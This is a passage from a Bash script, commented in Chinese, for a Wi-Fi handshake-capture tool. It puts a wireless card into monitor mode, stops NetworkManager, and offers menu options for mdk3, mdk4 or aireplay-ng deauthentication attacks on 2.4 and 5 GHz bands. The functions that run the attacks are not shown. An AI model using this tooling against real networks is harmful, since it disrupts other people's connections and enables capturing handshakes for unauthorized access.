	echo -e "\033[32m4. 2.4Ghz & 5Ghz (将会扫描所有频段的信号)\033[0m"
	echo -e "\033[36m--------------------------------------------------------------------\033[0m"
	read -rp "Please select: " you_zl
	case "${you_zl}" in
	1)
		main_menu
		;;
	2)
		attack_band="2.4Ghz"
		scan_band="bg"
		start_exec_handshake
		;;
	3)
		attack_band="5Ghz"
		scan_band="a"
		start_exec_handshake
		;;
	4)
		attack_band="2.4Ghz & 5Ghz"
		scan_band="bga"
		start_exec_handshake
		;;
	*)
		hack_menu
		;;
	esac
}

#######################################
# 网卡列表、驱动、芯片打印函数
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function show_interface_list() {

	#bao cun list to file
	local if_list if_name iface_num dri_num if_driver if_usb_id if_chipest if_num
	rm -rf "${work_dir:?}/interface_list.txt" >/dev/null 2>&1
	sleep 2
	if_list="$(ip a | grep -E "^[0-9]+" | awk -F ":" '{print $2}' | awk '{print $1}' | grep -E -v "^lo$")"
	local i=1
	for if_name in ${if_list}; do
		iface_num="$(airmon-ng | awk '/Interface/''{for(i=1; i<=NF; i++){print i " => " $i;}}' | grep "Interface" | awk '{print $1}')"
		dri_num="$(airmon-ng | awk '/Driver/''{for(i=1; i<=NF; i++){print i " => " $i;}}' | grep "Driver" | awk '{print $1}')"
		if_driver="$(airmon-ng | awk -v iface_num="${iface_num}" -v if_name="${if_name}" '{if($iface_num==if_name) {print $0}}' | awk -v dri_num="${dri_num}" '{print $dri_num}')"
		if_usb_id="$(cut -b 5-14 <"/sys/class/net/${if_name}/device/modalias" | sed 's/^.//;s/p/:/' | awk '{print tolower($1)}')"
		if_chipest="$(lsusb | awk -v if_usb_id="${if_usb_id}" '{if ($6==if_usb_id) {print $0}}' | head -n 1 | awk '{for (i=7;i<=NF;i++) printf("%s ", $i); print ""}')"
		#if_suport_band=
		echo -e "${i}., ${if_name}, driver: ${if_driver} chipest: ${if_chipest}" >>"${work_dir:?}/interface_list.txt"
		i=$((i + 1))
	done

	#du qu list from file
	clear
	echo -e "\033[36m--------------------------------------------------------------------\033[0m"
	echo -e "                             \033[36m网卡选择一个\033[0m                           "
	echo -e "\033[36m--------------------------------------------------------------------\033[0m"
	while IFS=, read -r if_num if_name if_chipest; do
		echo -e "\033[32m${if_num} ${if_name}\033[0m ${if_chipest}"
	done <"${work_dir}/interface_list.txt"
	echo -e "\033[36m--------------------------------------------------------------------\033[0m"
}

#######################################
# 网卡选择函数，同时开启监听
# Globals:
#   ${wlan_card}、
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function select_interface() {

	local inface_num card_check_status interface_status monitor_check check_kill if_down if_monitor if_up
	show_interface_list
	echo -e "\033[33mPlease select one interface.\033[0m"
	read -rp "> " inface_num
	while true; do
		if [ -z "${inface_num}" ] || [ "${inface_num}" == "" ]; then
			echo -e "\033[31mInface_num can not be null\033[0m"
			read -rp "> " inface_num
		elif [ "${inface_num}" == "0" ]; then
			echo -e "\033[31mInface_num can not be 0\033[0m"
			read -rp "> " inface_num
		elif [[ ! "${inface_num}" =~ ^[0-9]+$ ]]; then
			echo -e "\033[31mInface_num must be a number type\033[0m"
			read -rp "> " inface_num
		elif [ "${inface_num}" -gt "$(cat "${work_dir}/interface_list.txt" | wc -l)" ]; then
			echo -e "\033[31mInface_num must be less than the interface list total num\033[0m"
			read -rp "> " inface_num
		else
			break
		fi
	done

	#=====================shu chu ni  de  xuan  zhe  jie  guo====================
	wlan_card="$(cat "${work_dir}/interface_list.txt" | awk -F "," "NR==${inface_num}"'{print $2}' | awk '{print $1}')"
	airmon-ng | grep "${wlan_card}" >/dev/null 2>&1
	card_check_status=$?
	if [ "${card_check_status}" -eq 0 ]; then
		echo -e "\033[35mYour selected interface is\033[0m \033[32m[${wlan_card}]\033[0m \033[35mbe suported\033[0m"
	else
		echo -e "\033[35mYour selected interface is\033[0m \033[32m[${wlan_card}]\033[0m \033[31mnot be suported\033[0m"
		exit 5
	fi
	ip a | grep "${wlan_card}" >/dev/null 2>&1
	interface_status=$?

	#pan duan wang ka  shi  fou  kai qi jian  ting
	local interface_mode
	if [ "${interface_status}" -eq 0 ]; then
		echo -e "\033[33mChecking interface ${wlan_card} work mode monitor.....\033[0m"
		interface_mode="$(iw dev "${wlan_card}" info 2>/dev/null | grep -i "type" | awk '{print $2}')"
		if [ "${interface_mode^^}" == "MONITOR" ]; then
			monitor_check=0
		else
			monitor_check=1
		fi
		if [ "${monitor_check}" -ne 0 ]; then
			echo -e "\033[31mCHECK FAILD\033[0m \033[35mStart interface to monintor mode...\033[0m"
			if [ "${force_killing_network_manager}" -eq 1 ]; then
				kill_networkmanager_service
			else
				true
			fi
			check_kill=$?
			ip link set "${wlan_card}" down >/dev/null 2>&1
			if_down=$?
			iw dev "${wlan_card}" set type monitor >/dev/null 2>&1
			if_monitor=$?
			ip link set "${wlan_card}" up >/dev/null 2>&1
			if_up=$?
			if [ "${check_kill}" -eq 0 ] && [ "${if_down}" -eq 0 ] && [ "${if_monitor}" -eq 0 ] && [ "${if_up}" -eq 0 ]; then
				echo -e "\033[32mSUCESS..\033[0m"
			else
				echo -e "\033[31mFALED..\033[0m"
				exit 6
			fi
		else
			echo -e "\033[32mCHECK OK\033[0m \033[35mThis interface ${wlan_card} already in monitor mode, continue !\033[0m"
		fi
	else
		echo -e "\033[33mThere is no such device ${wlan_card}, please make sure that you plug in the device and work normally\033[0m"
		exit 7
	fi

	local you_zl
	echo -ne "\033[33m按[Enter]键继续....\033[0m"
	read -r you_zl
}

#######################################
# 禁用networkmanager 干扰进程服务
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   0: 表示所有进程查杀成功
#   1: 表示至少有1个进程查杀失败，整体操作失败
#######################################
function kill_networkmanager_service() {

	local airmon_check_kill_status stop_networkmanager_status disable_networkmanager_status stop_wpa_supplicant_status

	airmon-ng check kill >/dev/null 2>&1
	airmon_check_kill_status=$?
	systemctl stop NetworkManager.service >/dev/null 2>&1
	stop_networkmanager_status=$?
	systemctl disable NetworkManager.service >/dev/null 2>&1
	disable_networkmanager_status=$?
	systemctl stop wpa_supplicant.service >/dev/null 2>&1
	stop_wpa_supplicant_status=$?

	if [ "${airmon_check_kill_status}" -eq 0 ] && [ "${stop_networkmanager_status}" -eq 0 ] && [ "${disable_networkmanager_status}" -eq 0 ] && [ "${stop_wpa_supplicant_status}" -eq 0 ]; then
		return 0
	else
		return 1
	fi
}

#######################################
# 主菜单，功能模块的入口
# Globals:
#   ${attack_command}、${attack_mode}
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function main_menu() {

	local you_zl
	clear
	echo -e "\033[35m当前网卡：\033[0m${wlan_card:-无}   \033[35m当前模式：\033[0m${attack_mode:-无}   \033[35m扫描频段：\033[0m${attack_band:-无}"
	echo -e "\033[36m--------------------------------------------------------------------\033[0m"
	echo -e "                             \033[36m模式选择菜单\033[0m                           "
	echo -e "\033[36m--------------------------------------------------------------------\033[0m"
	echo -e "\033[32m1. 重新选择一个网卡\033[0m"
	echo -e "--------"
	echo -e "\033[32m2. mdk3 邪恶抓包(2.4Ghz推荐)\033[0m"
	echo -e "\033[32m3. mdk4 邪恶抓包(5Ghz推荐)\033[0m"
	echo -e "\033[32m4. aireplay-ng 邪恶抓包(备选)\033[0m"
	echo -e "\033[36m--------------------------------------------------------------------\033[0m"
	read -rp "Please select: " you_zl
	case "${you_zl}" in
	1)
		select_interface
		main_menu
		;;
	2)
		attack_command="mdk3"
		attack_mode="mdk3_deauth"
		hack_menu
		;;
	3)
		attack_command="mdk4"
		attack_mode="mdk4_deauth"
		hack_menu
		;;
	4)
		attack_command="aireplay-ng"
		attack_mode="aireplay-ng_deauth"
		hack_menu
		;;
	*)
		main_menu
		;;
	esac
}

#######################################
# 脚本的入口，程序执行的起点函数main
# Globals:
#   none
# Arguments:
#   "$@"
# Outputs:
#   none
# Returns:
#   none
#######################################
function main() {

	get_user_option_paramater "$@"
	print_app_info
	install_essensiel_tool
	if [ "${force_killing_network_manager}" -eq 1 ]; then
		kill_busy_process
	fi
	print_notice
	select_interface
	main_menu
}

#######################################
# 脚本退出的动画信息
# Globals:
#   none
# Arguments:
#   传入参数：为一串文字提示信息
# Outputs:
#   none
# Returns:
#   none
#######################################
function print_process_msg() {

	local message="$1"
	local cahr_1="${message}."
	local cahr_2="${message}.."
	local cahr_3="${message}..."
	local cahr_4="${message}...."
	local cahr_5="${message}....."
	local i=1
	local r_char msg
	while [[ "${i}" -le 5 ]]; do
		r_char="\$cahr_${i}"
		msg="$(eval "echo -e \"${r_char}\"")"
		echo -ne "\033[?25l${msg}\033[0m"
		echo -ne "\r\r"
		i=$((i + 1))
		sleep 0.3
	done
	echo -e "\033[?25l${msg} \033[32mOK\033[0m"
	echo -e "\033[?25h\033[0m"
	echo -e "\033[2A\033[0m"
}

#######################################
# 后代进程查杀函数
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function kill_son_process() {

	local parent_pid mom_pid child_pid mom_pid_sum iterm
	for parent_pid in "${scan_pid}" "${attack_pid}" "${handshake_pid}"; do
		mom_pid="${parent_pid}"
		child_pid="$(get_treepid "${mom_pid}" | awk '{for(i = 1; i <= NF; i++) printf("%s%s", $i,"\n")}')"
		kill "${mom_pid}" >/dev/null 2>&1
		mom_pid_sum="$(ps -ef | awk "NR>1"'{print $2}' | grep -E "^${mom_pid}$" | grep -v "grep" | wc -l)"
		while true; do
			if [ "${mom_pid_sum}" -gt 0 ]; then
				mom_pid_sum="$(ps -ef | awk "NR>1"'{print $2}' | grep -E "^${mom_pid}$" | grep -v "grep" | wc -l)"
				sleep 1
			else
				for iterm in ${child_pid}; do
					kill "${iterm}" >/dev/null 2>&1
				done
				break
			fi
		done
		sleep 0.5
	done
}

#######################################
# 网卡模式恢复函数
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function restore_interface_mode() {

	ip link set "${wlan_card}" down >/dev/null 2>&1
	iw dev "${wlan_card}" set type managed >/dev/null 2>&1
	ip link set "${wlan_card}" up >/dev/null 2>&1
}

#######################################
# 抓包成功后正常退出处理程序
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function hard_core_exit() {

	print_process_msg "清理进程"
	kill_son_process
	print_process_msg "恢复网卡接口模式"
	restore_interface_mode
	if [ "${force_killing_network_manager}" -eq 1 ]; then
		print_process_msg "恢复NetworkManager服务"
		systemctl restart NetworkManager.service >/dev/null 2>&1
		systemctl enable NetworkManager.service >/dev/null 2>&1
		systemctl restart wpa_supplicant.service >/dev/null 2>&1
	fi
	print_process_msg "清理临时文件"
	rm -rf "${work_dir:?}" >/dev/null 2>&1
	exit 0
}

#######################################
# 脚本的退出信号处理程序
# Globals:
#   none
# Arguments:
#   none
# Outputs:
#   none
# Returns:
#   none
#######################################
function exit_shell() {

	local you_zl
	echo
	echo -e "\033[31m\033[1mAre you sure want exit now? [y/n]:\033[0m "
	echo -n "> "
	read -r you_zl
	case "${you_zl}" in
	y)
		print_process_msg "清理进程"
		kill_son_process
		print_process_msg "恢复网卡接口模式"
		restore_interface_mode
		if [ "${force_killing_network_manager}" -eq 1 ]; then
			print_process_msg "恢复NetworkManager服务"
			systemctl restart NetworkManager.service >/dev/null 2>&1
			systemctl enable NetworkManager.service >/dev/null 2>&1
			systemctl restart wpa_supplicant.service >/dev/null 2>&1
		fi
		print_process_msg "清理临时文件"
		rm -rf "${work_dir:?}" >/dev/null 2>&1
		exit 0
		;;
	n)
		print_process_msg "清理进程"
		kill_son_process
		main_menu
		;;
	*)
		exit_shell
		;;
	esac
}

# 捕获目标信号执行对应操作函数exit_shell
for i in HUP INT QUIT TSTP; do
	trap_cmd="trap \"exit_shell\" ${i}"
	eval "${trap_cmd}"
done

main "$@"